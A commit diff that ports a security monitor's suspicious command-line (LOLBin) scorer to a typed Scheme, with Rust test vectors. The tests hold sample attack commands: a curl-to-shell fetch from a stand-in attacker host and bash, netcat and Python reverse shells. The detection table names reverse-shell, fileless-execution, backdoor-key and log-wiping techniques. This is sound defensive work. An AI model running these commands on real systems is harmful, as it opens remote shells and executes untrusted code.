Port secmon lolbin scoring to Typed Jerboa

Jaime Fournier <jaimef@linbsd.org>

e3ba6d79d528be42e034e5411271317ba73de6de

diff --git a/README.md b/README.md
index 07fe0eb..05f84e3 100644
--- a/README.md
+++ b/README.md
@@ -36,8 +36,9 @@ then crypto orchestration, then I/O / async / FFI (monitors, server, storage).
 | `dga::max_consonant_run` | `typed/dga.ss`     | ✅ ported, vectors pass         |
 | `dga::shannon_entropy`   | `typed/dga.ss`     | ✅ ported, vectors pass         |
 | `dga::score_domain`      | `typed/dga.ss`     | ✅ full: lowercase + dot-trim + benign-suffix + label split + score; vectors pass (diagnostic `reasons` list pending) |
-| `&str` ops (lowercase/ends_with/starts_with/contains/split) | `typed/strbytes.ss` | ✅ Bytes toolkit, vectors pass — shared by dga/lolbin/sigma |
-| `lolbin`, `sigma`, `triage` | —               | ⏳ pure logic, queued           |
+| `&str` ops (lowercase/ends_with/starts_with/contains/split/whole-word) | `typed/strbytes.ss` | ✅ Bytes toolkit, vectors pass — shared by dga/lolbin/sigma |
+| `lolbin::score` + `severity` | `typed/lolbin.ss` | ✅ full 25-pattern table + severity buckets; vectors pass (JSON-cmdline parse stays in untyped wrapper; diagnostic match list with caller) |
+| `sigma`, `triage`, `analytics` | —             | ⏳ pure logic, queued           |
 | `psk::constant_time_eq`  | `typed/psk.ss`     | ✅ ported, vectors pass         |
 | `psk::from_hex` (hex codec) | `typed/psk.ss`  | ✅ hex-encode ported; decode + length check queued |
 | `psk` HKDF/SHA256/AES-GCM | —                 | ⏳ FFI-delegated to vetted crates (not reimplemented) |
diff --git a/tests/lolbin_vectors.rs b/tests/lolbin_vectors.rs
new file mode 100644
index 0000000..8717b6d
--- /dev/null
+++ b/tests/lolbin_vectors.rs
@@ -0,0 +1,92 @@
+//! Vectors for LOLBin command-line scoring, checked against secmon's own
+//! lolbin::tests. The Rust source returns a LolScore { total, matches }; the
+//! typed port returns just the headline `total` (the per-match label list is
+//! diagnostic and rebuilt by the untyped caller), so where secmon asserts a
+//! specific label fired we call the corresponding `pat_*_p` matcher directly.
+
+use jerboa_typed_generated::jsecmon_lolbin::{
+    pat_discovery_burst_p, pat_exec_from_tmp_p, pat_pipe_to_shell_p, score_cmdline, severity,
+};
+
+fn b(s: &str) -> Vec<u8> {
+    s.as_bytes().to_vec()
+}
+
+#[test]
+fn benign_curl_does_not_score() {
+    assert_eq!(
+        score_cmdline(
+            "curl https://example.com -o /home/user/page.html".to_string(),
+            "/usr/bin/curl".to_string()
+        ),
+        0
+    );
+}
+
+#[test]
+fn curl_pipe_sh_fires() {
+    let cmd = "curl https://attacker.example/x | sh";
+    assert!(score_cmdline(cmd.to_string(), "/usr/bin/bash".to_string()) >= 70);
+    // secmon asserts the "pipe-to-shell" label specifically.
+    assert!(pat_pipe_to_shell_p(b(cmd)));
+}
+
+#[test]
+fn dev_tcp_reverse_shell_fires() {
+    // dev-tcp-redirect (80) + interactive-shell-flag (25) = 105.
+    assert!(
+        score_cmdline(
+            "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1".to_string(),
+            "/usr/bin/bash".to_string()
+        ) >= 80
+    );
+}
+
+#[test]
+fn nc_execute_flag_fires() {
+    assert!(
+        score_cmdline("nc -e /bin/sh 1.2.3.4 4444".to_string(), "/usr/bin/nc".to_string()) >= 80
+    );
+}
+
+#[test]
+fn base64_pipe_bash_fires() {
+    assert!(
+        score_cmdline(
+            "echo aGVsbG8K | base64 -d | bash".to_string(),
+            "/bin/bash".to_string()
+        ) >= 50
+    );
+}
+
+#[test]
+fn exec_from_tmp_fires() {
+    // secmon asserts the "exec-from-tmp" match is present; the matcher reads exe.
+    assert!(pat_exec_from_tmp_p(b("/tmp/payload")));
+    assert!(score_cmdline("./payload".to_string(), "/tmp/payload".to_string()) >= 50);
+}
+
+#[test]
+fn python_reverse_shell_fires() {
+    let cmd = "python -c import socket,subprocess;s=socket.socket();s.connect(('a',1));subprocess.call(['/bin/sh'])";
+    assert!(score_cmdline(cmd.to_string(), "/usr/bin/python3".to_string()) >= 70);
+}
+
+#[test]
+fn discovery_burst_fires_only_at_three_plus() {
+    // A single discovery command scores nothing.
+    assert_eq!(score_cmdline("whoami".to_string(), "/usr/bin/whoami".to_string()), 0);
+    assert!(!pat_discovery_burst_p(b("whoami")));
+    // Three distinct discovery signals (whoami, id, uname) trip the burst.
+    let three = "whoami; id; uname -a";
+    assert!(pat_discovery_burst_p(b(three)));
+    assert!(score_cmdline(three.to_string(), "/bin/sh".to_string()) >= 15);
+}
+
+#[test]
+fn severity_buckets() {
+    assert_eq!(severity(25), "info");
+    assert_eq!(severity(35), "medium");
+    assert_eq!(severity(75), "high");
+    assert_eq!(severity(120), "critical");
+}
diff --git a/tests/strbytes_vectors.rs b/tests/strbytes_vectors.rs
index 84ea154..2b9eac0 100644
--- a/tests/strbytes_vectors.rs
+++ b/tests/strbytes_vectors.rs
@@ -3,8 +3,8 @@
 //! suppression and leftmost-label split).
 
 use jerboa_typed_generated::jsecmon_strbytes::{
-    ascii_lower_bytes, bytes_contains_p, bytes_prefix_p, bytes_suffix_p, first_label_len,
-    index_of_byte,
+    ascii_lower_bytes, bytes_contains_p, bytes_prefix_p, bytes_suffix_p, contains_word_p,
+    first_label_len, index_of_byte,
 };
 
 fn b(s: &str) -> Vec<u8> {
@@ -56,3 +56,20 @@ fn lowercase_is_ascii_faithful() {
     assert_eq!(ascii_lower_bytes("a1B2.Net".to_string()), b("a1b2.net"));
     assert_eq!(ascii_lower_bytes("".to_string()), b(""));
 }
+
+#[test]
+fn whole_word_match_avoids_substrings() {
+    // lolbin's discovery-burst checks the token `id` without matching "did".
+    assert!(contains_word_p(b("whoami; id; uname -a"), b("id")));
+    assert!(contains_word_p(b("id"), b("id")));
+    assert!(contains_word_p(b("run id"), b("id")));
+    assert!(contains_word_p(b("id; ls"), b("id")));
+    // delimited by | and & too
+    assert!(contains_word_p(b("cat x|id&echo"), b("id")));
+    // not a whole word inside "did" / "rapid" / "idle"
+    assert!(!contains_word_p(b("what did you do"), b("id")));
+    assert!(!contains_word_p(b("rapid deploy"), b("id")));
+    assert!(!contains_word_p(b("idle hands"), b("id")));
+    // empty needle never matches
+    assert!(!contains_word_p(b("anything"), b("")));
+}
diff --git a/typed/lolbin.ss b/typed/lolbin.ss
new file mode 100644
index 0000000..f8bbb38
--- /dev/null
+++ b/typed/lolbin.ss
@@ -0,0 +1,252 @@
+;;; jsecmon — LOLBin / suspicious command-line scoring.
+;;;
+;;; Port of secmon/src/lolbin.rs. secmon scores a command line against a fixed,
+;;; additive pattern table; the total decides whether the process_start event
+;;; becomes a suspicious_cmdline anomaly. Every matcher there is a combination
+;;; of str::{contains,starts_with,ends_with} (and one whole-word tokenization),
+;;; so each ports directly onto the Bytes string toolkit. We lowercase the
+;;; cmdline and exe once (secmon's cmd_lower / exe_lower) and return the headline
+;;; `total`; the per-match label/explanation list is diagnostic and lives with
+;;; the (untyped) caller that builds the anomaly.
+
+(typed-library (jsecmon lolbin)
+  (export score-cmdline severity)
+  (import (jsecmon strbytes))
+
+  ;; --- pattern matchers (operate on the lowercased cmdline / exe bytes) ---
+
+  ;; pipe-to-shell (70): a network fetcher piped straight into an interpreter.
+  (def (pat-pipe-to-shell? (cmd : Bytes)) : Bool
+    (and (or (bytes-contains? cmd (string->utf8 "curl "))
+             (bytes-contains? cmd (string->utf8 "wget "))
+             (bytes-contains? cmd (string->utf8 "fetch "))
+             (bytes-contains? cmd (string->utf8 "lwp-request")))
+         (or (bytes-contains? cmd (string->utf8 "| sh"))
+             (bytes-contains? cmd (string->utf8 "|sh"))
+             (bytes-contains? cmd (string->utf8 "| bash"))
+             (bytes-contains? cmd (string->utf8 "|bash"))
+             (bytes-contains? cmd (string->utf8 "| zsh"))
+             (bytes-contains? cmd (string->utf8 "| ksh"))
+             (bytes-contains? cmd (string->utf8 "| python"))
+             (bytes-contains? cmd (string->utf8 "|python"))
+             (bytes-contains? cmd (string->utf8 "| perl"))
+             (bytes-contains? cmd (string->utf8 "|perl")))))
+
+  ;; dev-tcp-redirect / dev-udp-redirect (80 each): bash reverse-shell primitive.
+  (def (pat-dev-tcp? (cmd : Bytes)) : Bool
+    (bytes-contains? cmd (string->utf8 "/dev/tcp/")))
+  (def (pat-dev-udp? (cmd : Bytes)) : Bool
+    (bytes-contains? cmd (string->utf8 "/dev/udp/")))
+
+  ;; nc-execute (80): nc/ncat as a word, with -e/-c execute-on-connect.
+  (def (pat-nc-execute? (cmd : Bytes)) : Bool
+    (and (or (bytes-prefix? cmd (string->utf8 "nc "))
+             (bytes-prefix? cmd (string->utf8 "ncat "))
+             (bytes-contains? cmd (string->utf8 " nc "))
+             (bytes-contains? cmd (string->utf8 " ncat ")))
+         (or (bytes-contains? cmd (string->utf8 " -e "))
+             (bytes-contains? cmd (string->utf8 " -c ")))))
+
+  ;; socat-exec (80): socat with an EXEC:/SYSTEM: payload.
+  (def (pat-socat-exec? (cmd : Bytes)) : Bool
+    (and (bytes-contains? cmd (string->utf8 "socat"))
+         (or (bytes-contains? cmd (string->utf8 "exec:"))
+             (bytes-contains? cmd (string->utf8 "system:")))))
+
+  ;; interactive-shell-flag (25): a shell launched with -i.
+  (def (pat-interactive-shell? (cmd : Bytes)) : Bool
+    (or (bytes-contains? cmd (string->utf8 "bash -i"))
+        (bytes-contains? cmd (string->utf8 "sh -i"))
+        (bytes-contains? cmd (string->utf8 "zsh -i"))
+        (bytes-contains? cmd (string->utf8 "ksh -i"))))
+
+  ;; base64-decode-exec (60): base64 decode piped into a runner / eval.
+  (def (pat-base64-exec? (cmd : Bytes)) : Bool
+    (and (or (bytes-contains? cmd (string->utf8 "base64 -d"))
+             (bytes-contains? cmd (string->utf8 "base64 --decode"))
+             (bytes-contains? cmd (string->utf8 "openssl base64 -d"))
+             (bytes-contains? cmd (string->utf8 "openssl enc -d -base64")))
+         (or (bytes-contains? cmd (string->utf8 "| sh"))
+             (bytes-contains? cmd (string->utf8 "| bash"))
+             (bytes-contains? cmd (string->utf8 "| python"))
+             (bytes-contains? cmd (string->utf8 "| perl"))
+             (bytes-contains? cmd (string->utf8 "| ruby"))
+             (bytes-contains? cmd (string->utf8 "| node"))
+             (bytes-contains? cmd (string->utf8 "eval")))))
+
+  ;; echo-pipe-decoder (50): echo of a blob piped into a decoder/runner.
+  (def (pat-echo-pipe? (cmd : Bytes)) : Bool
+    (and (bytes-prefix? cmd (string->utf8 "echo "))
+         (bytes-contains? cmd (string->utf8 " | "))
+         (or (bytes-contains? cmd (string->utf8 "base64"))
+             (bytes-contains? cmd (string->utf8 "xxd"))
+             (bytes-contains? cmd (string->utf8 "openssl")))))
+
+  ;; exec-from-tmp (50): executable living in a world-writable dir.
+  (def (pat-exec-from-tmp? (exe : Bytes)) : Bool
+    (or (bytes-prefix? exe (string->utf8 "/tmp/"))
+        (bytes-prefix? exe (string->utf8 "/dev/shm/"))
+        (bytes-prefix? exe (string->utf8 "/var/tmp/"))
+        (bytes-prefix? exe (string->utf8 "/run/user/"))))
+
+  ;; chmod-x-tmp (60): making something in a temp dir executable.
+  (def (pat-chmod-x-tmp? (cmd : Bytes)) : Bool
+    (and (or (bytes-contains? cmd (string->utf8 "chmod +x"))
+             (bytes-contains? cmd (string->utf8 "chmod 755"))
+             (bytes-contains? cmd (string->utf8 "chmod 777")))
+         (or (bytes-contains? cmd (string->utf8 "/tmp/"))
+             (bytes-contains? cmd (string->utf8 "/dev/shm/"))
+             (bytes-contains? cmd (string->utf8 "/var/tmp/")))))
+
+  ;; wget-into-tmp (50): fetcher writing into a world-writable dir.
+  (def (pat-wget-into-tmp? (cmd : Bytes)) : Bool
+    (and (or (bytes-contains? cmd (string->utf8 "wget "))
+             (bytes-contains? cmd (string->utf8 "curl ")))
+         (or (bytes-contains? cmd (string->utf8 " /tmp/"))
+             (bytes-contains? cmd (string->utf8 " /dev/shm/"))
+             (bytes-contains? cmd (string->utf8 " /var/tmp/"))
+             (bytes-contains? cmd (string->utf8 "-o /tmp"))
+             (bytes-contains? cmd (string->utf8 "-o /dev/shm"))
+             (bytes-contains? cmd (string->utf8 "-o /var/tmp"))
+             (bytes-contains? cmd (string->utf8 "--output-document=/tmp")))))
+
+  ;; python/perl/ruby/php socket one-liners (70 each).
+  (def (pat-python-socket? (cmd : Bytes)) : Bool
+    (and (bytes-contains? cmd (string->utf8 "python"))
+         (bytes-contains? cmd (string->utf8 " -c "))
+         (bytes-contains? cmd (string->utf8 "socket"))
+         (or (bytes-contains? cmd (string->utf8 "subprocess"))
+             (bytes-contains? cmd (string->utf8 "os.system"))
+             (bytes-contains? cmd (string->utf8 "pty.spawn"))
+             (bytes-contains? cmd (string->utf8 "exec(")))))
+  (def (pat-perl-socket? (cmd : Bytes)) : Bool
+    (and (bytes-contains? cmd (string->utf8 "perl"))
+         (bytes-contains? cmd (string->utf8 " -e "))
+         (bytes-contains? cmd (string->utf8 "socket"))
+         (or (bytes-contains? cmd (string->utf8 "exec"))
+             (bytes-contains? cmd (string->utf8 "/bin/sh")))))
+  (def (pat-ruby-socket? (cmd : Bytes)) : Bool
+    (and (bytes-contains? cmd (string->utf8 "ruby"))
+         (bytes-contains? cmd (string->utf8 " -e "))
+         (bytes-contains? cmd (string->utf8 "tcpsocket"))
+         (or (bytes-contains? cmd (string->utf8 "exec"))
+             (bytes-contains? cmd (string->utf8 "/bin/sh")))))
+  (def (pat-php-socket? (cmd : Bytes)) : Bool
+    (and (bytes-contains? cmd (string->utf8 "php"))
+         (bytes-contains? cmd (string->utf8 " -r "))
+         (or (bytes-contains? cmd (string->utf8 "fsockopen"))
+             (bytes-contains? cmd (string->utf8 "shell_exec"))
+             (bytes-contains? cmd (string->utf8 "system(")))))
+
+  ;; mkfifo-pipe (60): named-pipe reverse shell construction.
+  (def (pat-mkfifo-pipe? (cmd : Bytes)) : Bool
+    (and (bytes-contains? cmd (string->utf8 "mkfifo"))
+         (or (bytes-contains? cmd (string->utf8 "|sh"))
+             (bytes-contains? cmd (string->utf8 "| sh"))
+             (bytes-contains? cmd (string->utf8 "|bash"))
+             (bytes-contains? cmd (string->utf8 "| bash")))))
+
+  ;; memfd-loader (70): fileless execution path.
+  (def (pat-memfd-loader? (cmd : Bytes)) : Bool
+    (or (bytes-contains? cmd (string->utf8 "memfd_create"))
+        (bytes-contains? cmd (string->utf8 "memfd:"))
+        (bytes-contains? cmd (string->utf8 "/proc/self/fd/"))
+        (bytes-contains? cmd (string->utf8 "fexecve"))))
+
+  ;; ld-preload-set (60): library injection on the command line.
+  (def (pat-ld-preload? (cmd : Bytes)) : Bool
+    (bytes-contains? cmd (string->utf8 "ld_preload=")))
+
+  ;; crontab-from-fetch (50): cron entry that fetches+runs a remote script.
+  (def (pat-crontab-fetch? (cmd : Bytes)) : Bool
+    (and (bytes-contains? cmd (string->utf8 "crontab"))
+         (or (bytes-contains? cmd (string->utf8 "curl"))
+             (bytes-contains? cmd (string->utf8 "wget")))))
+
+  ;; ssh-key-write (40): appending a backdoor key to authorized_keys.
+  (def (pat-ssh-key-write? (cmd : Bytes)) : Bool
+    (and (bytes-contains? cmd (string->utf8 "authorized_keys"))
+         (or (bytes-contains? cmd (string->utf8 "echo"))
+             (bytes-contains? cmd (string->utf8 ">>")))))
+
+  ;; history-clear (40): shell history clearing / unset.
+  (def (pat-history-clear? (cmd : Bytes)) : Bool
+    (or (bytes-contains? cmd (string->utf8 "history -c"))
+        (bytes-contains? cmd (string->utf8 "histfile=/dev/null"))
+        (bytes-contains? cmd (string->utf8 "unset histfile"))
+        (bytes-contains? cmd (string->utf8 "rm ~/.bash_history"))
+        (bytes-contains? cmd (string->utf8 "rm -f ~/.bash_history"))
+        (bytes-contains? cmd (string->utf8 "ln -s /dev/null ~/.bash_history"))))
+
+  ;; log-truncate (40): truncating/removing system logs (but not logrotate).
+  (def (pat-log-truncate? (cmd : Bytes)) : Bool
+    (and (or (bytes-contains? cmd (string->utf8 "> /var/log/"))
+             (bytes-contains? cmd (string->utf8 ">/var/log/"))
+             (bytes-contains? cmd (string->utf8 "rm /var/log/"))
+             (bytes-contains? cmd (string->utf8 "rm -f /var/log/"))
+             (bytes-contains? cmd (string->utf8 "truncate -s 0 /var/log/")))
+         (not (bytes-contains? cmd (string->utf8 "logrotate")))))
+
+  ;; discovery-burst (15): >= 3 distinct recon signals in one line. `id` and
+  ;; `hostname` are matched as whole tokens (so "did"/"rapid" do not count).
+  (def (pat-discovery-burst? (cmd : Bytes)) : Bool
+    (let ((n (+ (if (contains-word? cmd (string->utf8 "id")) 1 0)
+                (if (bytes-contains? cmd (string->utf8 "whoami")) 1 0)
+                (if (bytes-contains? cmd (string->utf8 "uname")) 1 0)
+                (if (bytes-contains? cmd (string->utf8 "/etc/passwd")) 1 0)
+                (if (or (bytes-contains? cmd (string->utf8 "ls -la /root"))
+                        (bytes-contains? cmd (string->utf8 "ls /root"))) 1 0)
+                (if (contains-word? cmd (string->utf8 "hostname")) 1 0))))
+      (>= n 3)))
+
+  ;; powershell-on-linux (50): pwsh/powershell exe on a Linux host.
+  (def (pat-powershell? (exe : Bytes)) : Bool
+    (or (bytes-suffix? exe (string->utf8 "/pwsh"))
+        (bytes-suffix? exe (string->utf8 "/powershell"))))
+
+  ;; shc-output (30): compiled-shell-script wrapper artifact.
+  (def (pat-shc-output? (exe : Bytes)) : Bool
+    (or (bytes-contains? exe (string->utf8 ".x.c"))
+        (bytes-contains? exe (string->utf8 ".x.exe"))))
+
+  ;; --- headline scorer ---
+
+  ;; Sum of every matched pattern's weight, exactly like lolbin::score's loop
+  ;; over PATTERNS. cmdline is the full argv joined with spaces; exe the
+  ;; executable path. Either may be empty.
+  (def (score-cmdline (cmdline : String) (exe : String)) : Nat
+    (let ((cmd (ascii-lower-bytes cmdline))
+          (x (ascii-lower-bytes exe)))
+      (+ (if (pat-pipe-to-shell? cmd) 70 0)
+         (if (pat-dev-tcp? cmd) 80 0)
+         (if (pat-dev-udp? cmd) 80 0)
+         (if (pat-nc-execute? cmd) 80 0)
+         (if (pat-socat-exec? cmd) 80 0)
+         (if (pat-interactive-shell? cmd) 25 0)
+         (if (pat-base64-exec? cmd) 60 0)
+         (if (pat-echo-pipe? cmd) 50 0)
+         (if (pat-exec-from-tmp? x) 50 0)
+         (if (pat-chmod-x-tmp? cmd) 60 0)
+         (if (pat-wget-into-tmp? cmd) 50 0)
+         (if (pat-python-socket? cmd) 70 0)
+         (if (pat-perl-socket? cmd) 70 0)
+         (if (pat-ruby-socket? cmd) 70 0)
+         (if (pat-php-socket? cmd) 70 0)
+         (if (pat-mkfifo-pipe? cmd) 60 0)
+         (if (pat-memfd-loader? cmd) 70 0)
+         (if (pat-ld-preload? cmd) 60 0)
+         (if (pat-crontab-fetch? cmd) 50 0)
+         (if (pat-ssh-key-write? cmd) 40 0)
+         (if (pat-history-clear? cmd) 40 0)
+         (if (pat-log-truncate? cmd) 40 0)
+         (if (pat-discovery-burst? cmd) 15 0)
+         (if (pat-powershell? x) 50 0)
+         (if (pat-shc-output? x) 30 0))))
+
+  ;; Severity bucket for a total, matching LolScore::severity.
+  (def (severity (total : Nat)) : String
+    (if (>= total 100)
+        "critical"
+        (if (>= total 60)
+            "high"
+            (if (>= total 30) "medium" "info")))))
diff --git a/typed/strbytes.ss b/typed/strbytes.ss
index 5e1f1ff..a259d11 100644
--- a/typed/strbytes.ss
+++ b/typed/strbytes.ss
@@ -9,7 +9,7 @@
 
 (typed-library (jsecmon strbytes)
   (export ascii-lower-bytes bytes-suffix? bytes-prefix? bytes-contains?
-          index-of-byte first-label-len)
+          contains-word? index-of-byte first-label-len)
 
   ;; ASCII lowercase one byte: map A-Z (65..90) into a-z by adding 0x20.
   (def (lower1 (b : Nat)) : Nat
@@ -53,6 +53,35 @@
   (def (bytes-contains? (hay : Bytes) (need : Bytes)) : Bool
     (search-from hay (bytevector-length hay) need (bytevector-length need) 0))
 
+  ;; A shell token delimiter: whitespace (space/tab/nl/cr) or one of ; | & --
+  ;; the split set lolbin's discovery-burst uses.
+  (def (delim-byte? (b : Nat)) : Bool
+    (or (= b 32) (or (= b 9) (or (= b 10) (or (= b 13)
+        (or (= b 59) (or (= b 124) (= b 38))))))))
+
+  ;; need matches at `start` with a delimiter (or buffer edge) on each side.
+  (def (word-at? (hay : Bytes) (hn : Nat) (need : Bytes) (nn : Nat) (start : Nat)) : Bool
+    (and (match-at? hay start need 0 nn)
+         (and (or (= start 0) (delim-byte? (bytevector-u8-ref hay (- start 1))))
+              (or (= (+ start nn) hn)
+                  (delim-byte? (bytevector-u8-ref hay (+ start nn)))))))
+
+  (def (word-search (hay : Bytes) (hn : Nat) (need : Bytes) (nn : Nat) (start : Nat)) : Bool
+    (if (> (+ start nn) hn)
+        #f
+        (if (word-at? hay hn need nn start)
+            #t
+            (word-search hay hn need nn (+ start 1)))))
+
+  ;; #t iff need occurs in hay as a whole token, i.e. delimiter- or edge-
+  ;; bounded. The Bytes analogue of split(ws|;|||&).any(|t| t == need); lets a
+  ;; matcher check `id` without also matching "did" or "rapid". Empty need is #f.
+  (def (contains-word? (hay : Bytes) (need : Bytes)) : Bool
+    (let ((nn (bytevector-length need)))
+      (if (= nn 0)
+          #f
+          (word-search hay (bytevector-length hay) need nn 0))))
+
   ;; index of the first byte == v scanning [i, n), or n if none.
   (def (scan-byte (bs : Bytes) (v : Nat) (i : Nat) (n : Nat)) : Nat
     (if (>= i n)